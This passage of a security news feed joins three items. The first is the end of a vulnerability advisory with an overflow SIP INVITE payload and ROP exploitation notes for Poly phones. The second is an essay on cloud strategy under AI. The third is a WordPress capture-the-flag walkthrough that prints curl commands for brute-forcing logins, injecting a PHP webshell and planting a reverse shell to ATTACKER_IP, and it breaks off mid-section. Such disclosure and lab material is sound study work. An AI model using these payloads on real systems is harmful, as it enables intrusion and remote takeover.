Contact: &lt;sip:192.168.86.80&gt;
Call-ID: pmpcdwrwqojvfqin
CSeq: 5892 INVITE
Content-Type: application/sdp
Content-Length: 495

c=IN IP4 192.168.86.122
m=audio 50786 RTP/AVP 0
a=rtpmap:0 PCMU/8000/1
a=candidate:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBB1111222233334444CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC</pre><p>⠀</p><p><span>Upon receiving this SIP INVITE request, the helper function </span><span><span data-type="inlineCode">ParseICECandidate</span></span><span> will parse the malicious </span><span><span data-type="inlineCode">candidate</span></span><span> attribute, and a stack-based buffer overflow will occur. Observing the resulting crash in GDB, we can see that we have full control over the program counter (</span><span><span data-type="inlineCode">pc</span></span><span>) register, several general purpose registers, and the data located at the stack pointer (</span><span><span data-type="inlineCode">sp</span></span><span>).</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc07457e8927adbe3/6a15eca434dad5bf0018dac2/image2.png" alt="image2.png" caption="Figure 2: Inspecting a core dump showing the effects of the overflow." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="image2.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc07457e8927adbe3/6a15eca434dad5bf0018dac2/image2.png" data-sys-asset-uid="bltc07457e8927adbe3" data-sys-asset-filename="image2.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: Inspecting a core dump showing the effects of the overflow." data-sys-asset-alt="image2.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 2: Inspecting a core dump showing the effects of the overflow.</figcaption></div></figure><h2>Exploitation</h2><p><span>Leveraging the overflow to execute arbitrary attacker controlled code is relatively straight forward. We can first note that </span><a href="https://en.wikipedia.org/wiki/Address_space_layout_randomization" target="_blank"><span>Address Space Layout Randomization</span></a><span> (ASLR) is present on the target, as shown below by inspecting </span><a href="https://docs.kernel.org/admin-guide/sysctl/kernel.html#randomize-va-space" target="_blank"><span>/proc/sys/kernel/randomize_va_space</span></a><span> in a root shell.</span></p><p><span></span></p><pre language="html"># uname -a
Linux (none) 2.6.27.18 #1 PREEMPT Mon Jan 13 09:50:58 PST 2020 armv6l unknown

# cat /proc/sys/kernel/randomize_va_space
1</pre><p>⠀</p><p><span>Inspecting the </span><span><span data-type="inlineCode">polyapp</span></span><span> binary with the </span><a href="https://slimm609.github.io/checksec/" target="_blank"><span>checksec</span></a><span> tool we can see that </span><a href="https://en.wikipedia.org/wiki/NX_bit" target="_blank"><span>No Execute</span></a><span> (NX) is enabled, so the stack data will not be executable. As we will not be able to execute a payload directly on the stack, we can overcome this by using a </span><a href="https://en.wikipedia.org/wiki/Return-oriented_programming" target="_blank"><span>Return Oriented Programming</span></a><span> (ROP) chain to bypass the NX mitigation. Additionally, the binary has not been compiled as a </span><a href="https://en.wikipedia.org/wiki/Position-independent_code#Position-independent_executables" target="_blank"><span>Position Independent Executable</span></a><span> (PIE).</span></p><p><span></span></p><pre language="html">$ /usr/bin/checksec --file=rootfs/root/polyapp --format=json | jq
{
	"rootfs/root/polyapp": {
		"relro": "no",
		"canary": "no",
		"nx": "yes",
		"pie": "no",
		"rpath": "no",
		"runpath": "no",
		"symbols": "no",
		"fortify_source": "no",
		"fortified": "0",
		"fortify-able": "33"
	}
}</pre><p>⠀</p><p><span>As the </span><span><span data-type="inlineCode">polyapp</span></span><span> binary is always loaded at a low address (</span><span><span data-type="inlineCode">0x00008000</span></span><span>), using Virtual Address (VA) values from this range will require the attacker to be able to place multiple null (</span><span><span data-type="inlineCode">0x00</span></span><span>) bytes in the overflow buffer. This will not be possible due to how the SDP data is processed. </span></p><p><span>We must discover a suitable workaround to exploit the vulnerability while not writing any null bytes in the overflow buffer. We could try to discover an information leak vulnerability, that leaks an address of a Shared Object (SO) location within the processes address space. If the SO is loaded at a location such that its addresses will not contain null bytes, we can use these addresses for ROP gadgets. In lieu of a suitable information leak vulnerability, we will require an alternative technique.</span></p><p><span>Conveniently to our purpose, ASLR is not operating as expected on the device, and does not impact the load address of Shared Object (SO) libraries. For example, </span><span><span data-type="inlineCode">libc</span></span><span> will always be loaded at a Virtual Address (VA) of </span><span><span data-type="inlineCode">0x40a5c000</span></span><span> on firmware version </span><span><span data-type="inlineCode">6.4.7.4477</span></span><span>. This does not change between process restarts or device cold reboots. Shown below is the same load address for </span><span><span data-type="inlineCode">libc</span></span><span> in the </span><span><span data-type="inlineCode">polyapp</span></span><span> process, across a cold reboot of the device.</span></p><p><span></span></p><pre language="html"># date
Fri Dec 12 15:05:56 UTC 2025
# ps -A|grep polyapp
 1461 root569m S/usr/local/root/polyapp 
# cat /proc/1461/maps | grep libc
40a5c000-40b76000 r-xp 00000000 00:01 581/lib/libc-2.8.so
40b76000-40b7e000 ---p 0011a000 00:01 581/lib/libc-2.8.so
40b7e000-40b80000 r--p 0011a000 00:01 581/lib/libc-2.8.so
40b80000-40b81000 rw-p 0011c000 00:01 581/lib/libc-2.8.so

# date
Fri Dec 12 15:14:12 UTC 2025
# ps -A|grep polyapp
 1482 root      569m S    /usr/local/root/polyapp 
# cat /proc/1482/maps | grep libc
40a5c000-40b76000 r-xp 00000000 00:01 581        /lib/libc-2.8.so
40b76000-40b7e000 ---p 0011a000 00:01 581        /lib/libc-2.8.so
40b7e000-40b80000 r--p 0011a000 00:01 581        /lib/libc-2.8.so
40b80000-40b81000 rw-p 0011c000 00:01 581        /lib/libc-2.8.so</pre><p>⠀</p><p><span>Further inspection of the process maps file shows all shared libraries are loaded starting from a fixed address of </span><span><span data-type="inlineCode">0x40000000</span></span><span> and do not appear to honor ASLR. Knowing this, we can build a simple ROP chain using gadgets located at fixed VA’s within the </span><span><span data-type="inlineCode">libc</span></span><span> library. The gadgets we choose will not contain null bytes in their addresses.</span></p><p><span>We create a ROP chain that will execute an arbitrary OS command via the </span><a href="https://man7.org/linux/man-pages/man3/system.3.html" target="_blank"><span>system</span></a><span> standard C library function. The accompanying Metasploit exploit modules source code details the entire ROP chain.</span></p><h2>Remediation</h2><p><span>The following remediation guidance has been provided by the vendor.</span></p><p><span><em>“HP Poly recommends that administrators disable ICE connectivity in environments where it is not required. All affected Poly Voice devices should be updated to the latest available UCS release using the Poly Lens Device Management application.”</em></span></p><p><span>The following table indicates the appropriate fixed software releases.</span></p><table><colgroup data-width="664"><col><col></colgroup><tbody><tr><td><p><span><strong>Product Name</strong></span></p></td><td><p><span><strong>Updated version</strong></span></p></td></tr><tr><td><p><span>VVX</span></p></td><td><p><span>UCS 6.4.8</span></p></td></tr><tr><td><p><span>Trio 8300</span></p></td><td><p><span>UCS 8.1.7</span></p></td></tr><tr><td><p><span>Trio 8500</span></p></td><td><p><span>UCS 7.2.8</span></p></td></tr><tr><td><p><span>Trio 8800</span></p></td><td><p><span>UCS 7.2.8</span></p></td></tr></tbody></table><h2>Credit</h2><p><span>This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s </span><a href="https://www.rapid7.com/security/disclosure" target="_self"><span>vulnerability disclosure policy</span></a><span>.</span></p><h2>Disclosure timeline</h2><ul><li><p><span><strong>January 6, 2026</strong></span><span>: Rapid7 makes initial outreach to HP who confirm contact the same day.</span></p></li><li><p><span><strong>January 7, 2026</strong></span><span>: Rapid7 discloses the technical writeup and exploit code to HP.</span></p></li><li><p><span><strong>January 9, 2026</strong></span><span>: HP confirms the finding, and provides Rapid7 with affected models, a reserved CVE identifier and an expected fix date for May, 2026.</span></p></li><li><p><span><strong>January 12, 2026</strong></span><span>: Rapid7 agrees to the fix date and asks for clarity on the end of support for the VVX series. HP replies the same day with requested information.</span></p></li><li><p><span><strong>April; 21, 2026:</strong></span><span> HP states a new release date by end of July and confirms CVSS, CWE and remediation guidance. Rapid7 gives June 1 as the disclosure date.</span></p></li><li><p><span><strong>May 5, 2026:</strong></span><span> HP provides affected models and confirms coordinate disclosure for June 1.</span></p></li><li><p><span><strong>May 18, 2026:</strong></span><span> HP provides remediation version numbers for patched firmware.</span></p></li><li><p><span><strong>June 1, 2026:</strong></span><span> This disclosure.</span></p></li></ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The cloud strategy I helped build didn’t survive contact with AI. Here’s what we did next]]></title>
<description><![CDATA[I knew the plan was in trouble when a finance partner asked me a question I couldn’t answer cleanly.



“How much of this cloud spend is experimentation, and how much is now becoming the new normal?”



That should not have been a hard question. We had a mature cloud strategy. We had standards. W...]]></description>
<link>https://tsecurity.de/de/3562596/it-security-nachrichten/the-cloud-strategy-i-helped-build-didnt-survive-contact-with-ai-heres-what-we-did-next/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3562596/it-security-nachrichten/the-cloud-strategy-i-helped-build-didnt-survive-contact-with-ai-heres-what-we-did-next/</guid>
<pubDate>Mon, 01 Jun 2026 12:06:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>I knew the plan was in trouble when a finance partner asked me a question I couldn’t answer cleanly.</p>



<p>“How much of this cloud spend is experimentation, and how much is now becoming the new normal?”</p>



<p>That should not have been a hard question. We had a mature cloud strategy. We had standards. We had architecture reviews. We had cost controls, service patterns, reserved capacity, security gates and a decent story for the board. Nothing about it felt reckless. It felt grown-up. Ordered. Sensible.</p>



<p>Then AI walked in and started moving the furniture.</p>



<p>Silently. More like a slow shove. One use case here. One pilot there. A team testing copilots. Another team asking for more compute. Security was asking where the prompts were going. Legal is asking what data crossed which border. Finance stared at the bill like it had started speaking Latin.</p>



<p>Good strategies rarely die from stupidity. They die from drift. The world changes, but the logic stays parked in last year’s weather.</p>



<p>Our cloud strategy had been built for a world of applications, platforms, storage growth and ordinary bursts of demand. AI brought a different appetite. It wanted more power, faster decisions, looser experimentation, tighter controls and more adult supervision. It was like inviting a clever guest to dinner and discovering he’d also brought three wolves and an invoice.</p>



<h2 class="wp-block-heading">The strategy was sound for the game we were playing</h2>



<p>I want to be fair to the original plan because I helped build it, and because sneering at old decisions is one of the cheapest forms of hindsight.</p>



<p>The strategy solved real problems. We needed consistency across environments. We needed stronger resilience. We needed better cost discipline than the old “just move it and sort it out later” school of cloud migration. We wanted teams to build faster without having to reinvent their own religion each quarter. We wanted clearer guardrails and fewer exceptions that were hard to understand.</p>



<p>So, we created patterns. Standard hosting routes. Cost reviews. Architecture checkpoints. Shared controls. Approved services. Escalation paths. It worked. The business moved. The core platforms are held. We had enough orders to be useful and enough flexibility to avoid becoming the department of ceremonial no.</p>



<p>Underneath that plan sat a few quiet assumptions. Workloads would stay mostly familiar. Demand would rise, but in ways we could model. Costs would wobble, not convulse. Governance would keep pace with technology. Most exceptions would stay exceptional.</p>



<p>That set of assumptions was not foolish. It was built for a different climate.</p>



<h2 class="wp-block-heading">AI broke the assumptions first</h2>



<p>The mistake would be to say AI, “changed everything.” It didn’t. AI broke specific assumptions, and once those snapped, the strategy started falling apart.</p>



<ol class="wp-block-list">
<li><strong>The first break was compute.</strong> Traditional enterprise workloads usually behave like people with routines. They rise, fall and repeat. AI workloads behave more like teenagers with borrowed car keys. One experiment looks harmless. Then a model run chews through expensive resources. Then inference demand shows up in places nobody had forecast.</li>



<li><strong>The second break was data.</strong> Many firms say they have data ready for AI because they have data lakes, reports or analytics platforms. That is like saying you’re ready for surgery because you own a sharp knife. AI use depends on permission, lineage, quality, context, retention and movement. Data that seemed fine for dashboards became awkward, risky, or unusable once models were introduced.</li>



<li><strong>The third break was economics.</strong> Cloud costs had always needed watching, but AI added a new twist. You could spend real money before proving real value. Pilots looked small until they spread. A use case that seemed cheap in testing became costly when people used it. Finance hates mystery, and AI has a talent for turning cost models into abstract art.</li>



<li><strong>The fourth break was governance.</strong> Our existing controls had been built around systems, services, vendors and access. AI introduced different questions. Which prompts are being stored? Which data is being exposed? Who approved this model? What evidence supports this use case? What happens when teams adopt tools outside the approved stack because the approved stack moves too slowly?</li>
</ol>



<p>That was the point at which I stopped seeing AI as just another demand line on the platform roadmap. It had become a pressure test for our judgment.</p>



<h2 class="wp-block-heading">The trouble showed up in symptoms before it showed up in strategy decks</h2>



<p>Big strategy failures rarely arrive wearing a name badge. They come disguised as irritations.</p>



<p>First came cost surprises. Just a steady rise in bills nobody could explain with much confidence. Then came the awkward meetings. Finance wanted forecasts. Engineering wanted a room to test. Security wanted tighter control. Data teams wanted access. Everyone had a valid concern. Nobody was wrong. That almost made it worse.</p>



<p>Then came architecture drift.</p>



<p>Teams were trying to get work done. If the approved path took too long, they found another path. A hosted tool here. A side environment there. A vendor service that solved today’s problem and quietly created next quarter’s headache. You could feel the strategy starting to fragment at the edges.</p>



<p>Control gaps followed. Some teams knew exactly where their prompts went and what data they used. Others had a hazier picture. Logging varied. Review depth varied. Local workarounds multiplied. Policies still looked confident on paper, but paper is generous. Reality is less polite.</p>



<p>The hardest symptom to spot was decision fatigue. Meetings got longer. Ownership got fuzzier. People started using the same words to mean different things. “Low risk” to one group meant “good enough for a pilot.” To another, it meant “fit for regulated production.” Progress slowed. Shadow behavior grew in the dark space between demand and delay.</p>



<p>I remember one discussion about a simple internal assistant. The business wanted speed. The data team said the source material was manageable. Security asked a plain question about retention and auditability. Silence. Not hostile silence. The worst kind. The kind that tells you the room has just discovered it was working from several different maps.</p>



<p>That is when I knew we needed a reset instead of a patch.</p>



<h2 class="wp-block-heading">We changed the frame before we changed the plumbing</h2>



<p>Once you admit the plan no longer fits the conditions, pride becomes expensive.</p>



<p>Our first useful move was mental. We stopped asking, “How do we fit AI into the current cloud model?” That question trapped us. It assumed the existing model was the fixed point, and AI was the exception. In practice, AI was changing the operating conditions.</p>



<p>So, we asked a better question. What kinds of AI work are we dealing with, what do they need and what should run where, why and under which controls?</p>



<p>That shift saved us from one-size-fits-all thinking.</p>



<p>We split the workload space into clear groups. Experiments were not the same as production services. Internal assistants were not the same as high sensitivity use cases. Data-heavy model work was not the same as quick feature add-ons. Once we made those distinctions, better decisions followed. Some workloads could move fast with light review. Others needed tighter handling, clearer evidence and harder boundaries.</p>



<p>We also made trade-offs explicit.</p>



<p>Before that, teams argued in code. One side talked speed. Another talked about risk. Another cost. They were often debating values without naming them. So, we dragged the trade-offs into daylight. When do we pay more for control? When do we accept a delay for clearer evidence? When do we permit local freedom, and when do we insist on a common route?</p>



<p>As we couldn’t remove tension, we made it usable.</p>



<p>The other big shift was governance. We moved it closer to design. As working logic. Architecture, security, legal, finance and data leaders needed to shape decisions early, before file opinions after a team had already fallen in love with a tool.</p>



<h2 class="wp-block-heading">What we did next</h2>



<p>The reset became real when it changed weekly behavior.</p>



<p>We reclassified workloads using a few plain tests. How sensitive is the data? How heavy is the computing need? How much latency matters. How exposed is the use case to regulation, customer trust or public embarrassment? Each category had a preferred route. A clear one, before a perfect route.</p>



<p>We rebuilt cost visibility. Experimentation spend could no longer be hidden within general platform usage. We separated trial money from operating money. We pushed teams to tie spend to an intended outcome, beyond technical curiosity. Curiosity matters. So do receipts.</p>



<p>We tightened data pathways. We became stricter about what data could go where, under which terms and with what record. Less wandering. Fewer assumptions. Better memory.</p>



<p>We updated review thresholds. Not every use case needed a committee. Some did. The trick was to define that line before the pressure arrived. Teams need to know when they can move, when they must pause and who can break a tie.</p>



<p>We also created a regular decision forum across platform, security, data, finance and business leads. A place to resolve trade-offs fast and make decisions. That one change cut a lot of theatre. People no longer had to guess who owned the hard calls.</p>



<h2 class="wp-block-heading">What this taught me about cloud, AI and leadership</h2>



<p>I came out of this with less faith in neat architecture slides and more respect for decision design.</p>



<p>What AI did to our cloud strategy also affected leadership. It exposed paradoxes you can often keep apart in calmer times. In my CIO article, “<a href="https://www.cio.com/article/4022503/4-leadership-paradoxes-that-define-ai-adoption.html">4 leadership paradoxes that define AI adoption</a>,” I framed four tensions leaders now face: Speed and security, innovation and stability, talent and compliance, and ethics and efficiency. The piece argues that AI leadership is about learning to lead inside contradictions instead of resolving those once and for all. That is the part that stayed with me.</p>



<p>That is exactly what happened here.</p>



<p>We wanted teams to move quickly, but not so quickly that cloud spend became guesswork and controls became folklore. We wanted experimentation, but not at the price of production stability. We wanted strong technical people to explore, test and build, but not in ways that left legal, risk and security trying to reconstruct decisions after the fact. We wanted useful AI services, but not the kind that looked cheap and clever right up until they created a trust problem. No side debates. They became the work itself. The paradoxes were no longer theory. They were operating conditions.</p>



<p>That is why I no longer see cloud strategy as a platform conversation with some governance attached. It is a leadership discipline. You are not just choosing hosting patterns or cost controls. You are deciding how your organisation will behave under tension. Can you move with speed and still protect trust? Can you create room for experimentation without letting the estate drift into sprawl? Can you give talented teams the freedom they need without turning compliance into an afterthought? Can you chase efficiency without losing the ethical grip that keeps the whole thing defensible? That is the real burden of AI adoption. It pulls leadership into trade-offs that used to sit in separate meetings.</p>



<p>Boards should care more than they sometimes do. They shape spending, resilience, accountability and the company’s ability to adopt AI without behaving like a teenager left alone with a corporate card. That was the deeper lesson for me. The cloud strategy I helped build did not fail because the architecture was weak. It failed because AI changed the tensions leaders had to manage, and the old model was not built to carry that weight.</p>



<p>The cloud strategy I helped build did not survive contact with AI. I’m oddly grateful for that. It forced us to admit that a good strategy is not a monument. It is a living argument with reality.</p>



<p>The plan that survives is rarely the prettiest one, it is the one honest enough to change before the bill, the breach or the board meeting does it for you.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[ColdBoxEasy — WordPress Theme Editor RCE via curl and Three Paths to Root via sudo | OffSec PG]]></title>
<description><![CDATA[ColdBoxEasy is a beginner-friendly Linux box on OffSec PG Play built around a sloppy WordPress setup. Enumeration turns up a hidden directory leaking internal account notes, which hands you the username list on a plate. WPScan cracks the login, and from there the WordPress theme editor gets abuse...]]></description>
<link>https://tsecurity.de/de/3559919/hacking/coldboxeasy-wordpress-theme-editor-rce-via-curl-and-three-paths-to-root-via-sudo-offsec-pg/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3559919/hacking/coldboxeasy-wordpress-theme-editor-rce-via-curl-and-three-paths-to-root-via-sudo-offsec-pg/</guid>
<pubDate>Sun, 31 May 2026 03:04:44 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>ColdBoxEasy is a beginner-friendly Linux box on OffSec PG Play built around a sloppy WordPress setup. Enumeration turns up a hidden directory leaking internal account notes, which hands you the username list on a plate. WPScan cracks the login, and from there the WordPress theme editor gets abused — purely via curl, no browser touch — to drop a PHP webshell, confirm RCE, and catch a reverse shell. Once inside, wp-config.php gives up database credentials that get reused straight onto the system account, and a lazy sudo config hands over three GTFOBins paths to root. Clean chain. No CVEs. Just bad configuration all the way down.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WlfHRkst5evYCMYNY_nKug.png"></figure><p><strong>Date:</strong> 14 March 2026<br> <strong>Platform:</strong> OffSec PG Play<br> <strong>Difficulty:</strong> Easy<br> <strong>OS:</strong> Linux (Ubuntu)<br> <strong>Attack Vector:</strong> WordPress RCE via Theme Editor (curl only — no browser)<br> <strong>Privesc:</strong> sudo vim -c ':!bash' / sudo chmod u+s /bin/bash</p><h3>Machine Summary</h3><pre>┌─────────────────┬──────────────────────────────────────────────────┐<br>│ Field           │ Value                                            │<br>├─────────────────┼──────────────────────────────────────────────────┤<br>│ Name            │ ColdBoxEasy                                      │<br>│ Platform        │ OffSec PG Play                                   │<br>│ Difficulty      │ Easy                                             │<br>│ Target IP       │ &lt;TARGET_IP&gt;                                      │<br>│ Attacker IP     │ &lt;ATTACKER_IP&gt;                                    │<br>│ OS              │ Linux (Ubuntu)                                   │<br>│ Web Stack       │ Apache 2.4.18 + WordPress 4.1.31                 │<br>│ Attack Vector   │ WordPress Theme Editor RCE                       │<br>│ Privesc         │ sudo vim / sudo chmod                            │<br>│ local.txt       │ &lt;LOCAL_FLAG&gt;                                     │<br>│ proof.txt       │ &lt;ROOT_FLAG&gt;                                      │<br>└─────────────────┴──────────────────────────────────────────────────┘</pre><h3>Table of Contents</h3><pre>1. Enumeration<br>   1.1  Nmap — Port Scan<br>   1.2  Web Enumeration — curl &amp; Gobuster<br>   1.3  WPScan — User Enumeration</pre><pre>2. Initial Access<br>   2.1  Password Brute Force<br>   2.2  Authenticated Login via curl (Cookie Harvesting)<br>   2.3  WordPress Admin Panel Access<br>   2.4  Nonce Extraction from Theme Editor<br>   2.5  PHP Webshell Injection &amp; RCE Verification</pre><pre>3. Reverse Shell<br>   3.1  Upgrading to Reverse Shell</pre><pre>4. Local Flag<br>   4.1  Enumerate /home/c0ldd<br>   4.2  wp-config.php Credential Leak</pre><pre>5. Privilege Escalation<br>   5.1  Switch User to c0ldd<br>   5.2  Method 1 — sudo vim<br>   5.3  Method 2 — sudo chmod (SUID bash)</pre><pre>6. Root Flag</pre><pre>7. Attack Chain Summary</pre><pre>8. Defense &amp; Mitigation<br>   8.1  Enforce Strong Password Policies<br>   8.2  Disable the WordPress Theme/Plugin Editor<br>   8.3  Disable or Restrict XML-RPC<br>   8.4  Remove or Restrict the /hidden/ Directory<br>   8.5  WordPress User Enumeration Hardening<br>   8.6  Protect wp-config.php<br>   8.7  Apply Least Privilege to sudo<br>   8.8  Keep WordPress and Themes Updated<br>   8.9  Web Application Firewall &amp; Rate Limiting</pre><pre>9. Key Takeaways</pre><h3>1. Enumeration</h3><h3>1.1 Nmap — Port Scan</h3><pre>nmap -Pn -sC -F &lt;TARGET_IP&gt;</pre><p><strong>Result:</strong> Only port 80 is open.</p><pre>PORT    STATE  SERVICE<br>80/tcp  open   http<br>|_http-generator: WordPress 4.1.31<br>|_http-title: ColddBox | One more machine</pre><p>Port 22 is closed. HTTP is the only way in. WordPress 4.1.31 on Apache 2.4.18 — already a red flag given how outdated that version is.</p><h3>1.2 Web Enumeration — curl &amp; Gobuster</h3><p>Confirm the WordPress install via curl:</p><pre>curl -s http://&lt;TARGET_IP&gt;</pre><p>Page source confirms the site title “ColddBox” and a WordPress generator meta tag. Run Gobuster to map out what else is there:</p><pre>gobuster dir -u http://&lt;TARGET_IP&gt;/ -w /usr/share/dirb/wordlists/common.txt</pre><p><strong>Gobuster Results:</strong></p><p>Path Status Notes /hidden/ 301 Custom page — lore hint /wp-admin/ 301 WordPress admin panel xmlrpc.php 200 XML-RPC enabled /wp-content/ 301 — /wp-includes/ 301 —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*KeUYzHxEVfNLInvd7B5tgw.png"></figure><p>Hit the interesting ones:</p><pre>curl http://&lt;TARGET_IP&gt;/xmlrpc.php<br># XML-RPC server accepts POST requests only.</pre><pre>curl http://&lt;TARGET_IP&gt;/hidden/</pre><p><strong>/hidden/ drops this message:</strong></p><blockquote>“Coldd, you changed Hugo’s password, when you can send it to him so he can continue uploading his articles. Philip”</blockquote><p>That tells you exactly who the users are — c0ldd, hugo, and philip — and hints that credentials are being shuffled around carelessly. Password reuse is almost guaranteed.</p><h3>1.3 WPScan — User Enumeration</h3><pre>wpscan --api-token &lt;TOKEN&gt; --url http://&lt;TARGET_IP&gt;/ --enumerate u,vp</pre><p><strong>Users Identified:</strong></p><p>User Discovery Method the cold in person RSS Generator (passive) philip Author ID brute force (aggressive) c0ldd Author ID brute force (aggressive) hugo Author ID brute force (aggressive)</p><p><strong>Additional Findings:</strong></p><ul><li>WordPress version: <strong>4.1.31</strong> (insecure, released 2020–06–10)</li><li>Theme: <strong>twentyfifteen</strong> v1.0</li><li>XML-RPC: <strong>enabled</strong></li><li>No plugins found</li></ul><p>Four valid users. No plugins to exploit. The version is ancient. The attack surface is the login itself.</p><h3>2. Initial Access</h3><h3>2.1 Password Brute Force</h3><p>Run WPScan’s password attack against the discovered users with rockyou:</p><pre>wpscan --url http://&lt;TARGET_IP&gt;/ --passwords rockyou.txt --usernames c0ldd,hugo,philip</pre><p><strong>Result:</strong></p><pre>[SUCCESS] - &lt;WP_USER&gt; / &lt;WP_PASSWORD&gt;</pre><blockquote><strong><em>Credentials:</em></strong><em> </em><em>&lt;WP_USER&gt; : &lt;WP_PASSWORD&gt;</em></blockquote><p>Hits fast. Weak password, common wordlist — done.</p><h3>2.2 Authenticated Login via curl (Cookie Harvesting)</h3><p>No browser needed. POST the credentials directly to wp-login.php and save the session cookies to a file:</p><pre>curl -i -s -k -X POST "http://&lt;TARGET_IP&gt;/wp-login.php" \<br>  -d "log=&lt;WP_USER&gt;&amp;pwd=&lt;WP_PASSWORD&gt;&amp;wp-submit=Log+In&amp;redirect_to=http://&lt;TARGET_IP&gt;/wp-admin/&amp;testcookie=1" \<br>  -c cookies.txt -b cookies.txt</pre><p><strong>Result:</strong> HTTP 200 OK with Set-Cookie: wordpress_logged_in_... in the response headers. Session is live and saved to cookies.txt.</p><h3>2.3 WordPress Admin Panel Access</h3><p>Verify the cookies actually work against the admin panel:</p><pre>curl -i -s -k "http://&lt;TARGET_IP&gt;/wp-admin/" -b cookies.txt | more</pre><p>Response title reads Dashboard &amp;rsaquo; ColddBox &amp;#8212; WordPress — Admin access confirmed.</p><h3>2.4 Nonce Extraction from Theme Editor</h3><p>Every authenticated POST to the WordPress theme editor requires a valid _wpnonce. Grab it by fetching the editor page:</p><pre>curl -s -b cookies.txt \<br>  "http://&lt;TARGET_IP&gt;/wp-admin/theme-editor.php?file=404.php&amp;theme=twentyfifteen" \<br>  | grep "_wpnonce"</pre><p><strong>Extracted nonce:</strong> &lt;NONCE&gt;</p><h3>2.5 PHP Webshell Injection &amp; RCE Verification</h3><p>POST the webshell into 404.php using the extracted nonce:</p><pre>curl -s -b cookies.txt -X POST "http://&lt;TARGET_IP&gt;/wp-admin/theme-editor.php" \<br>  -d "_wpnonce=&lt;NONCE&gt;" \<br>  -d "_wp_http_referer=/wp-admin/theme-editor.php?file=404.php&amp;theme=twentyfifteen" \<br>  -d "newcontent=&lt;?php system(\$_GET['cmd']); ?&gt;" \<br>  -d "action=update" \<br>  -d "file=404.php" \<br>  -d "theme=twentyfifteen" \<br>  -d "scrollto=0"</pre><p>Verify execution immediately:</p><pre>curl "http://&lt;TARGET_IP&gt;/wp-content/themes/twentyfifteen/404.php?cmd=id"</pre><p><strong>Result:</strong></p><pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre><p>RCE confirmed as www-data. Webshell is live.</p><h3>3. Reverse Shell</h3><h3>3.1 Upgrading to Reverse Shell</h3><p>Swap the webshell out for a fsockopen/proc_open bash reverse shell payload:</p><pre>curl -s -b cookies.txt -X POST "http://&lt;TARGET_IP&gt;/wp-admin/theme-editor.php" \<br>  -d "_wpnonce=&lt;NONCE&gt;" \<br>  -d "_wp_http_referer=/wp-admin/theme-editor.php?file=404.php&amp;theme=twentyfifteen" \<br>  -d "newcontent=&lt;?php \$ip='&lt;ATTACKER_IP&gt;'; \$port=4444; \$sock=fsockopen(\$ip,\$port); \$proc=proc_open('/bin/bash -i', array(0=&gt;\$sock, 1=&gt;\$sock, 2=&gt;\$sock), \$pipes); ?&gt;" \<br>  -d "action=update" \<br>  -d "file=404.php" \<br>  -d "theme=twentyfifteen" \<br>  -d "scrollto=0"</pre><p>Start the listener, then trigger:</p><pre># Attacker<br>nc -lvnp 4444</pre><pre># Trigger the shell<br>curl "http://&lt;TARGET_IP&gt;/wp-content/themes/twentyfifteen/404.php"</pre><p><strong>Shell received:</strong></p><pre>connect to [&lt;ATTACKER_IP&gt;] from (UNKNOWN) [&lt;TARGET_IP&gt;] 49644<br>bash: cannot set terminal process group (1338): Inappropriate ioctl for device<br>bash: no job control in this shell<br>www-data@ColddBox-Easy:/var/www/html/wp-content/themes/twentyfifteen$</pre><blockquote><strong><em>Shell:</em></strong><em> </em><em>www-data@ColddBox-Easy</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*fxard-gy-TmM_dBU1mblBg.png"></figure><h3>4. Local Flag</h3><h3>4.1 Enumerate /home/c0ldd</h3><pre>cd /home/c0ldd &amp;&amp; ls -la<br>cat local.txt</pre><p><strong>Result:</strong></p><pre>&lt;LOCAL_FLAG&gt;</pre><blockquote><strong><em>local.txt:</em></strong><em> </em><em>&lt;LOCAL_FLAG&gt;</em></blockquote><h3>4.2 wp-config.php Credential Leak</h3><p>wp-config.php is readable as www-data. Check the database credentials:</p><pre>cat /var/www/html/wp-config.php | grep DB_</pre><p><strong>Result:</strong></p><pre>define('DB_NAME',     'colddbox');<br>define('DB_USER',     '&lt;DB_USER&gt;');<br>define('DB_PASSWORD', '&lt;DB_PASSWORD&gt;');<br>define('DB_HOST',     'localhost');</pre><blockquote><strong><em>Note:</em></strong><em> The database password is reused as the system password for </em><em>c0ldd. Classic.</em></blockquote><h3>5. Privilege Escalation</h3><h3>5.1 Switch User to 